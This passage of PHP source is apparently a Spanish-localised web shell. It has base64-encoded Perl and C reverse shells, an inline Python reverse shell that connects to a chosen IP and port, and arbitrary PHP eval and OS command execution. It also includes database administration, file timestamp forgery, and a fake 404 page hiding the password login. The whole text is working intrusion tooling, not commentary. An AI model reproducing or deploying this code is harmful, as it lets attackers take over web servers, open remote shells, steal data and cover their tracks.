OBJECT_ID('$tablename') order by b.colid");$rowdb = array();while($tb = @mssql_fetch_assoc($result)) {$rowdb[$tb['name']] = $tb;$rowdb[$tb['name']]['Key'] = $tb['colstat'];$rowdb[$tb['name']]['Auto'] = $tb['autoval'];}$rs = array();if ($doing == 'insert') {p('<h2>Insert new line in '.$tablename.' table &raquo;</h2>');} else {p('<h2>Update record in '.$tablename.' table &raquo;</h2>');$where = base64_decode($base64);$result = msq("SELECT top 1 * FROM $tablename WHERE $where");$rs = mssql_fetch_array($result);}p('<form method="post" action="'.$self.'">');p($dbform);makehide('action','mssqladmin');makehide('tablename',$tablename);p('<table border="0" cellpadding="3" cellspacing="0">');foreach ($rowdb as $row) {if ($rs[$row['name']]) {$value = htmlspecialchars($rs[$row['name']]);} else {$value = '';}$thisbg = bg();p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');if ($row['Key'] || $row['Auto']) {p('<td><b>'.$row['name'].'</b><br />'.$row['type'].'('.$row['length'].')'.($row['colstat'] ? '<br /><b>PRIMARY</b>' : '').($row['autoval'] ? ' <br /><b>Auto</b>' : '').'</td><td>'.$value.'&nbsp;</td></tr>');} else {p('<td><b>'.$row['name'].'</b><br />'.$row['type'].'('.$row['length'].')'.($row['colstat'] ? '<br /><b>PRIMARY</b>' : '').($row['autoval'] ? ' <br /><b>Auto</b>' : '').'</td><td><textarea class="area" name="insertsql['.$row['name'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');}}if ($doing == 'insert') {p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');} else {p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');makehide('base64', $base64);}p('</table></form>');} else {$querys = @explode(';',$sql_query);foreach($querys as $num=>$query) {if ($query) {p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");switch(msqy($query)){case 0:
p('<h2>Error : '.msmsg().'</h2>');break;
case 1:
if (strtolower(substr($query,0,13)) == 'select * from') {$allowedit = 1;}if ($getnumsql) {$tatol = mssql_fetch_array(msq("SELECT count(*) FROM $tablename"));$tatol = $tatol[0];$multipage = multi($tatol, $pagenum, $page, $tablename);}if (!$tablename) {$sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));$sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);$tablename = $matches[1][0];}p($multipage);p('<table border="0" cellpadding="3" cellspacing="0">');p('<tr class="head">');if ($allowedit) p('<td>Action</td>');$result = msq("select b.name,c.name as type,c.xtype,b.length,b.isnullable,b.colstat,case when b.autoval is null then 0 else 1 end,b.colid,a.id,d.text from sysobjects a join syscolumns b on a.id = b.id join systypes c on b.xtype = c.xtype and c.usertype <> 18 left join syscomments d on d.id = b.cdefault where a.id = OBJECT_ID('$tablename') order by b.colid");$rowdb = array();$keyfied = '';while($tb = @mssql_fetch_array($result)) {p('<td nowrap>'.$tb['name'].'<br><span>'.$tb['type'].'('.$tb['length'].') '.($tb['colstat'] ? '<b> - PRIMARY</b>' : '').($tb['autoval'] ? '<b> - Auto</b>' : '').'</span></td>');$rowdb[$tb['name']]['Key'] = $tb['colstat'];$rowdb[$tb['name']]['Auto'] = $tb['autoval'];if ($tb['colstat']) {$keyfied = $tb['name'];}}p('</tr>');if (strtolower(substr($query,0,13)) == 'select * from') {$query .= " order by $keyfied DESC";}$result = msq($query);$index=0;if($pagenum>0) mssql_data_seek($result,$start_limit);while($mn = @mssql_fetch_assoc($result)){if($index>$pagenum-1) break;$thisbg = bg();p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');$where = $tmp = $b1 = '';foreach($mn as $key=>$inside){if ($inside) {if ($rowdb[$key]['Key'] == 1 || $rowdb[$key]['Auto'] == 1) {$where = $key."='".addslashes($inside)."'";break;}$where .= $tmp.$key."='".addslashes($inside)."'";$tmp = ' AND ';}}foreach($mn as $key=>$inside){$b1 .= '<td nowrap>'.html_clean($inside).'&nbsp;</td>';}$where = base64_encode($where);if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');p($b1);p('</tr>');$index++;unset($b1);}tbfoot();p($multipage);break;
case 2:
$ar = mssql_affected_rows();p('<h2>affected rows : <b>'.$ar.'</b></h2>');break;}}}}} else {$query = msq("select sysobjects.id,sysobjects.name,sysobjects.category,sysusers.name as owner,sysobjects.crdate from sysobjects join sysusers on sysobjects.uid = sysusers.uid where sysobjects.xtype = 'U' order by sysobjects.name asc");$table_num = 0;$tabledb = array();while($table = mssql_fetch_array($query)) {$table_num++;$tabledb[] = $table;}unset($table);p('<table border="0" cellpadding="0" cellspacing="0">');p('<form action="'.$self.'" method="POST">');makehide('action','mssqladmin');p($dbform);p('<tr class="head">');p('<td>Name</td>');p('<td>Owner</td>');p('<td>Create_time</td>');p('<td>Operate</td>');p('</tr>');foreach ($tabledb as $key => $table) {$thisbg = bg();p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');p('<td><a href="javascript:settable(\''.$table['owner'].'.'.$table['name'].'\');">'.$table['name'].'</a></td>');p('<td>'.$table['owner'].'</td>');p('<td>'.$table['crdate'].'</td>');p('<td><a href="javascript:settable(\''.$dbname.'.'.$table['name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$dbname.'.'.$table['name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$dbname.'.'.$table['name'].'\', \'drop\');">Drop</a></td>');p('</tr>');}p('<tr class='.bg().'>');p('<td>Total tables: '.$table_num.'</td>');p('<td colspan="3"></td>');p('</tr>');p("</table>");msfr($query);}}}}tbfoot();if ($alreadymssql) {@mssql_close();}}elseif ($action == 'backconnect') {if(!isset($yourip)) $yourip = $_SERVER['REMOTE_ADDR'];if(!isset($yourport)) $yourport = '12345';$usedb = array('perl'=>'perl','c'=>'c','python'=>'python');$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
"BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
"SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
"KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
"sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
"Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
"QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
"Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";if (isset($start) && isset($yourip) && isset($yourport) && isset($use)){$back_connect_python=" -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"".$yourip."\",".$yourport."));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"".$cmdshell."\",\"-i\"]);'";switch($use){case 'perl':
cf('/tmp/angel_bc',$back_connect);$res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");break;case 'python':
$res = execute(which('python').$back_connect_python);break;case 'c':
cf('/tmp/angel_bc.c',$back_connect_c);$res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');@unlink('/tmp/angel_bc.c');$res = execute("/tmp/angel_bc $yourip $yourport &");break;}if ($use == 'perl') {} elseif($use=='c') {}
m("Intentando conectarse a $yourip puerto $yourport ...");}formhead(array('title'=>'Shell inversa'));makehide('action','backconnect');p('<p>');p('IP:');makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));p('Puerto:');makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));p('Shell:');makeinput(array('name'=>'useshell','size'=>15,'value'=>$cmdshell));p('Usar:');makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));makeinput(array('name'=>'start','value'=>'Conectar','type'=>'submit','class'=>'bt'));p('</p>');formfoot();
}elseif ($action == 'eval') {$phpcode = trim($phpcode);if($phpcode){if (!preg_match('#<\?#si', $phpcode)) {$phpcode = "<?php\n\n{$phpcode}\n\n?>";}eval("?".">$phpcode<?");}formhead(array('title'=>'Ejecutar PHP'));makehide('action','eval');maketext(array('title'=>'Ejecutar PHP','name'=>'phpcode', 'value'=>$phpcode));formfooter();
}elseif ($action == 'editfile') {if(file_exists($opfile)) {$fp=@fopen($opfile,'r');$contents=@fread($fp, filesize($opfile));@fclose($fp);$contents=htmlspecialchars($contents);}formhead(array('title'=>'Crear/Editar'));makehide('action','file');makehide('dir',$nowpath);makeinput(array('title'=>'Archivo actual (importar)','name'=>'editfilename','value'=>$opfile,'newline'=>1));maketext(array('title'=>'Contenido','name'=>'filecontent','value'=>$contents));formfooter();goback();
}elseif ($action == 'newtime') {$opfilemtime = @filemtime($opfile);$cachemonth = array('Enero'=>1,'Febrero'=>2,'Marzo'=>3,'Abril'=>4,'Mayo'=>5,'Junio'=>6,'Julio'=>7,'Agosto'=>8,'Septiembre'=>9,'Octubre'=>10,'Noviembre'=>11,'Diciembre'=>12);formhead(array('title'=>'Archivo clonado con fecha'));makehide('action','file');makehide('dir',$nowpath);makeinput(array('title'=>'Alterar archivo','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));makeinput(array('title'=>'Referencia (ruta)','name'=>'tarfile','size'=>120,'newline'=>1));formfooter();formhead(array('title'=>'Fecha Modificado'));makehide('action','file');makehide('dir',$nowpath);makeinput(array('title'=>'Archivo actual (ruta)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));p('<p>Instead &raquo;');p('A&#65533;o:');makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));p('Mes:');makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));p('D&#65533;a:');makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));p('Hora:');makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));p('Minuto:');makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));p('Segundo:');makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));p('</p>');formfooter();goback();
}elseif ($action == 'shell') {if (IS_WIN && IS_COM) {if($program && $parameter) {$shell= new COM('Shell.Application');$a = $shell->ShellExecute($program,$parameter);m('Program run has '.(!$a ? 'success' : 'fail'));}!$program && $program = 'c:\windows\system32\cmd.exe';!$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';formhead(array('title'=>'Ejecutar programa'));makehide('action','shell');makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));p('<p>');makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));p('</p>');formfoot();}formhead(array('title'=>'Ejecutar comando'));makehide('action','shell');if (IS_WIN && IS_COM) {$execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));}p('<p>');makeinput(array('title'=>'Comando','name'=>'command','value'=>htmlspecialchars($command)));makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Ejecutar'));p('</p>');formfoot();if ($command) {p('<hr width="100%" noshade /><pre>');if ($execfunc=='wscript' && IS_WIN && IS_COM) {$wsh = new COM('WScript.shell');$exec = $wsh->exec('cmd.exe /c '.$command);$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;} elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {$descriptorspec = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w'));$process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);if (is_resource($process)) {fwrite($pipes[0], $command."\r\n");fwrite($pipes[0], "exit\r\n");fclose($pipes[0]);while (!feof($pipes[1])) {echo fgets($pipes[1], 1024);}fclose($pipes[1]);while (!feof($pipes[2])) {echo fgets($pipes[2], 1024);}fclose($pipes[2]);proc_close($process);}} else {echo(execute($command));}p('</pre>');}}elseif ($action == 'phpenv') {$upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';$adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');!$dis_func && $dis_func = 'No';
$info = array(1 => array('Hora Servidor',date('Y/m/d h:i:s',$timestamp)),2 => array('Dominio Servidor',$_SERVER['SERVER_NAME']),3 => array('IP Servidor',gethostbyname($_SERVER['SERVER_NAME'])),4 => array('OS Servidor',PHP_OS),5 => array('OS Charset Servidor',$_SERVER['HTTP_ACCEPT_LANGUAGE']),6 => array('Software Servidor',$_SERVER['SERVER_SOFTWARE']),7 => array('Web Port',$_SERVER['SERVER_PORT']),8 => array('Modo de PHP',strtoupper(php_sapi_name())),9 => array('Ruta Shell',__FILE__),10 => array('PHP Version',PHP_VERSION),11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),12 => array('Safe Mode',getcfg('safe_mode')),13 => array('Administrator',$adminmail),14 => array('allow_url_fopen',getcfg('allow_url_fopen')),15 => array('enable_dl',getcfg('enable_dl')),16 => array('display_errors',getcfg('display_errors')),17 => array('register_globals',getcfg('register_globals')),18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),19 => array('memory_limit',getcfg('memory_limit')),20 => array('post_max_size',getcfg('post_max_size')),21 => array('upload_max_filesize',$upsize),22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),23 => array('disable_functions',$dis_func),);if($phpvarname) {m($phpvarname .' : '.getcfg($phpvarname));}formhead(array('title'=>'Entorno servidor'));makehide('action','phpenv');makeinput(array('title'=>'Ingrese un parametro PHP(ej:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));formfooter();$hp = array(0=> 'Server', 1=> 'PHP');for($a=0;$a<2;$a++) {p('<h2>'.$hp[$a].' &raquo;</h2>');p('<ul class="info">');if ($a==0) {for($i=1;$i<=9;$i++) {p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');}} elseif ($a == 1) {for($i=10;$i<=23;$i++) {p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');}}p('</ul>');}}else {m('Undefined Action');
}?>
</td></tr></table>
<div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
<span style="float:right;"><?php debuginfo();ob_end_flush();?></span></div>
</body>
</html>
<?php
function m($msg) {echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';echo $msg;echo '</div>';
}function scookie($key, $value, $life = 0, $prefix = 1) {global $admin, $timestamp, $_SERVER;$key = ($prefix ? $admin['cookiepre'] : '').$key;$life = $life ? $life : $admin['cookielife'];$useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
}
function multi($num, $perpage, $curpage, $tablename) {$multipage = '';if($num > $perpage) {$page = 10;$offset = 5;$pages = @ceil($num / $perpage);if($page > $pages) {$from = 1;$to = $pages;} else {$from = $curpage - $offset;$to = $curpage + $page - $offset - 1;if($from < 1) {$to = $curpage + 1 - $from;$from = 1;if(($to - $from) < $page && ($to - $from) < $pages) {$to = $page;}} elseif($to > $pages) {$from = $curpage - $pages + $to;$to = $pages;if(($to - $from) < $page && ($to - $from) < $pages) {$from = $pages - $page + 1;}}}$multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">Primera</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Anterior</a> ' : '');for($i = $from; $i <= $to; $i++) {$multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';}$multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Siguiente</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Ultima</a>' : '');$multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';}return $multipage;
}function loginpage() {header("Status: 404 Not Found");header("status: 404");?><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address><style>input {margin:0;background-color:#fff;border:1px solid #fff; }</style><center><form method="POST" action=""><span style="font:11px Verdana;"></span><input name="password" type="password" size="20"><input type="hidden" name="doing" value="login"><input type="submit" value=""></form></center><?php exit;}function execute($cfe) {$res = '';if ($cfe) {if(function_exists('exec')) {@exec($cfe,$res);$res = join("\n",$res);} elseif(function_exists('shell_exec')) {$res = @shell_exec($cfe);} elseif(function_exists('system')) {@ob_start();@system($cfe);$res = @ob_get_contents();@ob_end_clean();} elseif(function_exists('passthru')) {@ob_start();@passthru($cfe);$res = @ob_get_contents();@ob_end_clean();} elseif(@is_resource($f = @popen($cfe,"r"))) {$res = '';while(!@feof($f)) {$res .= @fread($f,1024);}@pclose($f);}}return $res;
}function which($pr) {$path = execute("which $pr");return ($path ? $path : $pr);
}function cf($fname,$text){if($fp=@fopen($fname,'w')) {@fputs($fp,@base64_decode($text));@fclose($fp);}}function dirsize($dir) {
$dh = @opendir($dir);$size = 0;while($file = @readdir($dh)) {if ($file != '.' && $file != '..') {$path = $dir.'/'.$file;if (@is_dir($path)) {$size += dirsize($path);} else {$size += @filesize($path);}}}@closedir($dh);return $size;
}function debuginfo() {global $starttime;$mtime = explode(' ', microtime());$totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);echo 'Procesado en '.$totaltime.' segundo(s)';
}function mydbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {global $charsetdb;if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {p('<h2>No se pudo conectar a MySQL server</h2>');exit;}if($link && $dbname) {if (!@mysql_select_db($dbname, $link)) {p('<h2>Database seleccionada con errores</h2>');exit;}}if($link && mysql_get_server_info() > '4.1') {if(in_array(strtolower($charset), $charsetdb)) {q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);}}return $link;
}function msdbconn($dbhost,$dbuser,$dbpass,$dbname='') {global $alreadymssql;@ini_set('mssql.charset', 'UTF-8');@ini_set('mssql.textlimit', 2147483647);@ini_set('mssql.textsize', 2147483647);$alreadymssql = 1;if(!$link = @mssql_connect($dbhost, $dbuser, $dbpass, false)) {p('<h2>'.msmsg().'</h2>');$alreadymssql = 0;exit;}if($link && $dbname) {if (!@mssql_select_db($dbname, $link)) {p('<h2>'.msmsg().'</h2>');$alreadymssql = 0;exit;}}return $link;
}function s_array(&$array) {if (is_array($array)) {foreach ($array as $k => $v) {$array[$k] = s_array($v);}} else if (is_string($array)) {$array = stripslashes($array);}return $array;
}function html_clean($content) {$content = htmlspecialchars($content);$content = str_replace("\n", "<br />", $content);$content = str_replace(" ", "&nbsp;&nbsp;", $content);$content = str_replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;", $content);return $content;
}function getChmod($filepath){return substr(base_convert(@fileperms($filepath),10,8),-4);
}function getPerms($filepath) {$mode = @fileperms($filepath);if (($mode & 0xC000) === 0xC000) {$type = 's';}elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}else {$type = '?';}$owner['read'] = ($mode & 00400) ? 'r' : '-';$owner['write'] = ($mode & 00200) ? 'w' : '-';$owner['execute'] = ($mode & 00100) ? 'x' : '-';$group['read'] = ($mode & 00040) ? 'r' : '-';$group['write'] = ($mode & 00020) ? 'w' : '-';$group['execute'] = ($mode & 00010) ? 'x' : '-';$world['read'] = ($mode & 00004) ? 'r' : '-';$world['write'] = ($mode & 00002) ? 'w' : '-';$world['execute'] = ($mode & 00001) ? 'x' : '-';if($mode & 0x800) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}if($mode & 0x400) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}if($mode & 0x200) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
}function getUser($filepath){if (function_exists('posix_getpwuid')) {$array = @posix_getpwuid(@fileowner($filepath));if ($array && is_array($array)) {return ' / <a href="#" title="User: '.$array['name'].'&#13&#10Passwd: '.$array['passwd'].'&#13&#10Uid: '.$array['uid'].'&#13&#10gid: '.$array['gid'].'&#13&#10Gecos: '.$array['gecos'].'&#13&#10Dir: '.$array['dir'].'&#13&#10Shell: '.$array['shell'].'">'.$array['name'].'</a>';}}return '';
}function deltree($deldir) {$mydir=@dir($deldir);
while($file=$mydir->read()){
if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
@chmod($deldir.'/'.$file,0777);deltree($deldir.'/'.$file);}if (is_file($deldir.'/'.$file)) {@chmod($deldir.'/'.$file,0777);@unlink($deldir.'/'.$file);}}
$mydir->close();@chmod($deldir,0777);return @rmdir($deldir) ? 1 : 0;
}function bg() {global $bgc;return ($bgc++%2==0) ? 'alt1' : 'alt2';
}function getPath($scriptpath, $nowpath) {if ($nowpath == '.') {$nowpath = $scriptpath;}$nowpath = str_replace('\\', '/', $nowpath);$nowpath = str_replace('//', '/', $nowpath);if (substr($nowpath, -1) != '/') {$nowpath = $nowpath.'/';}return $nowpath;
}function getUpPath($nowpath) {$pathdb = explode('/', $nowpath);$num = count($pathdb);if ($num > 2) {unset($pathdb[$num-1],$pathdb[$num-2]);}$uppath = implode('/', $pathdb).'/';$uppath = str_replace('//', '/', $uppath);return $uppath;
}function getcfg($varname) {$result = get_cfg_var($varname);if ($result == 0) {return 'No';} elseif ($result == 1) {return 'Yes';} else {return $result;}}function getfun($funName) {return (false !== function_exists($funName)) ? 'Yes' : 'No';
}function getextension($filename) {$pathinfo = pathinfo($filename);return $pathinfo['extension'];
}function GetWDirList($dir){global $dirdata,$j,$nowpath;!$j && $j=1;if ($dh = opendir($dir)) {while ($file = readdir($dh)) {$f=str_replace('//','/',$dir.'/'.$file);if($file!='.' && $file!='..' && is_dir($f)){if (is_writable($f)) {$dirdata[$j]['filename']=str_replace($nowpath,'',$f);$dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));$dirdata[$j]['dirchmod']=getChmod($f);$dirdata[$j]['dirperm']=getPerms($f);$dirdata[$j]['dirlink']=ue($dir);$dirdata[$j]['server_link']=$f;$dirdata[$j]['client_link']=ue($f);$j++;}GetWDirList($f);}}closedir($dh);clearstatcache();return $dirdata;} else {return array();}}function GetWFileList($dir){global $filedata,$j,$nowpath, $writabledb;!$j && $j=1;if ($dh = opendir($dir)) {while ($file = readdir($dh)) {$ext = getextension($file);$f=str_replace('//','/',$dir.'/'.$file);if($file!='.' && $file!='..' && is_dir($f)){GetWFileList($f);} elseif($file!='.' && $file!='..' && is_file($f) && in_array($ext, explode(',', $writabledb))){if (is_writable($f)) {$filedata[$j]['filename']=str_replace($nowpath,'',$f);$filedata[$j]['size']=sizecount(@filesize($f));$filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));$filedata[$j]['filechmod']=getChmod($f);$filedata[$j]['fileperm']=getPerms($f);$filedata[$j]['fileowner']=getUser($f);$filedata[$j]['dirlink']=$dir;$filedata[$j]['server_link']=$f;$filedata[$j]['client_link']=ue($f);$j++;}}}closedir($dh);clearstatcache();return $filedata;} else {return array();}}function GetSFileList($dir, $content, $re = 0) {global $filedata,$j,$nowpath, $writabledb;!$j && $j=1;if ($dh = opendir($dir)) {while ($file = readdir($dh)) {$ext = getextension($file);$f=str_replace('//','/',$dir.'/'.$file);if($file!='.' && $file!='..' && is_dir($f)){GetSFileList($f, $content, $re = 0);} elseif($file!='.' && $file!='..' && is_file($f) && in_array($ext, explode(',', $writabledb))){$find = 0;if ($re) {if (preg_match('@'.$content.'@',$file) || preg_match('@'.$content.'@', @file_get_contents($f))){$find = 1;}} else {if (strstr($file, $content) || strstr(@file_get_contents($f),$content)) {$find = 1;}}if ($find) {$filedata[$j]['filename']=str_replace($nowpath,'',$f);$filedata[$j]['size']=sizecount(@filesize($f));$filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));$filedata[$j]['filechmod']=getChmod($f);$filedata[$j]['fileperm']=getPerms($f);$filedata[$j]['fileowner']=getUser($f);$filedata[$j]['dirlink']=$dir;$filedata[$j]['server_link']=$f;$filedata[$j]['client_link']=ue($f);$j++;}}}closedir($dh);clearstatcache();return $filedata;} else {return array();}}function qy($sql) {
$res = $error = '';if(!$res = @mysql_query($sql)) {
return 0;} else if(is_resource($res)) {return 1;} else {return 2;}
return 0;
}function q($sql) {
return @mysql_query($sql);
}function fr($qy){mysql_free_result($qy);
}function msq($sql) {
return @mssql_query($sql);
}function msfr($qy){mssql_free_result($qy);
}function msmsg(){return mssql_get_last_message();
}function msqy($sql) {$res = $error = '';if(!$res = @mssql_query($sql)) {
return 0;} else if(is_resource($res)) {return 1;} else {return 2;}
return 0;
}function sizecount($size) {if($size > 1073741824) {$size = round($size / 1073741824 * 100) / 100 . ' G';} elseif($size > 1048576) {$size = round($size / 1048576 * 100) / 100 . ' M';} elseif($size > 1024) {$size = round($size / 1024 * 100) / 100 . ' K';} else {$size = $size . ' B';}return $size;
}class PHPZip{var $out='';function PHPZip($dir){if (@function_exists('gzcompress')){$curdir = getcwd();if (is_array($dir)) $filelist = $dir;else{$filelist=$this -> GetFileList($dir);foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);}if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);else chdir($curdir);if (count($filelist)>0){foreach($filelist as $filename){if (is_file($filename)){$fd = fopen ($filename, 'r');$content = @fread ($fd, filesize($filename));fclose ($fd);if (is_array($dir)) $filename = basename($filename);$this -> addFile($content, $filename);}}$this->out = $this -> file();chdir($curdir);}return 1;}else return 0;}function GetFileList($dir){static $a;if (is_dir($dir)) {if ($dh = opendir($dir)) {while ($file = readdir($dh)) {if($file!='.' && $file!='..'){$f=$dir .'/'. $file;if(is_dir($f)) $this->GetFileList($f);$a[]=$f;}}closedir($dh);}}return $a;}var $datasec = array();var $ctrl_dir = array();var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";var 